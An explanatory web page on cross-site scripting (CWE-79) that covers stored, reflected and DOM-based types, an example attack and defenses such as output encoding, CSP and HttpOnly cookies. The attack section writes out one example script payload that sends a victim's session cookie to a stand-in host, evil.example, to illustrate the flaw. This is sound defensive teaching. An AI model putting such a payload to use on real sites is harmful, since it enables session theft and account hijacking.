What is cross-site scripting (XSS)?
Last reviewed June 2, 2026
Cross-site scripting (XSS) is a vulnerability where an application includes untrusted data in a web page without proper neutralization, so an attacker's script runs in the victim's browser. It can steal session cookies, hijack accounts, and rewrite page content. The core defenses are context-aware output encoding and a strong Content Security Policy.
What cross-site scripting is
Cross-site scripting, tracked as CWE-79 (Improper Neutralization of Input During Web Page Generation), occurs when a web application places untrusted data into the HTML, JavaScript, or attributes it sends to a browser without correctly encoding or sanitizing it. The browser then executes the attacker's content as legitimate page code, inside the security context of the vulnerable site.
Because the script runs with the victim's session, XSS effectively lets an attacker act as that user against the trusted site.
The three main types
- Stored (persistent) XSS: the payload is saved on the server, such as in a comment or profile field, and runs for every visitor who views it.
- Reflected XSS: the payload is bounced back in an immediate response, typically via a crafted link that the victim must click.
- DOM-based XSS: the flaw is entirely in client-side JavaScript that writes untrusted data into the page (for example via innerHTML), so the payload may never reach the server.
How the attack works
Suppose a search page echoes the query back as Results for: <user input> directly into the HTML. An attacker sends a victim a link whose query is <script>fetch("https://evil.example/c?"+document.cookie)</script>. When the page renders, the browser executes that script and ships the victim's session cookie to the attacker, who can then impersonate the user.
Payloads do not need <script> tags. Event handlers like onerror on an <img> tag, javascript: URLs, and broken-out HTML attributes are all common vectors, which is why encoding must match the exact context where data is inserted.
How to prevent it
Output encoding is the primary control because it neutralizes the data at the moment it enters a page; CSP and HttpOnly cookies reduce the damage if encoding is ever missed.
- Apply context-aware output encoding: encode for HTML body, HTML attributes, JavaScript, URL, and CSS contexts separately.
- Use a framework that auto-escapes by default (React, Angular) and avoid dangerous escape hatches like dangerouslySetInnerHTML or innerHTML with untrusted data.
- Deploy a strong Content Security Policy (CSP) as defense in depth to limit which scripts can run.
- Sanitize rich HTML with a vetted library (such as DOMPurify) when you must allow user-supplied markup.
- Set the HttpOnly flag on session cookies so script cannot read them.
Keep exploring
- CWE-79: Cross-site ScriptingThe MITRE weakness entry XSS maps to.
- What is CSRF?A related browser-trust attack often confused with XSS.
- What is SQL injection?The server-side cousin in the injection family.
- Browse the CWE directoryExplore the full catalog of weakness types.
- What is clickjacking?UI redress attacks via invisible frames.
- What is an open redirect?Unvalidated redirects abused for phishing.
Frequently asked questions
- What is cross-site scripting in simple terms?
- It is when a website displays attacker-supplied text without cleaning it, so the attacker's JavaScript runs in other users' browsers as if the site itself wrote it.
- What is the difference between stored and reflected XSS?
- Stored XSS saves the malicious script on the server so it runs for everyone who views the affected page. Reflected XSS bounces the script back in a single response, usually requiring the victim to click a crafted link.
- How do you prevent XSS?
- Encode all untrusted data for the exact output context, rely on auto-escaping frameworks, sanitize any allowed HTML with a trusted library, and add a Content Security Policy as a second layer of defense.
- Which CWE covers cross-site scripting?
- XSS is CWE-79, Improper Neutralization of Input During Web Page Generation. It is the canonical web injection weakness in the browser context.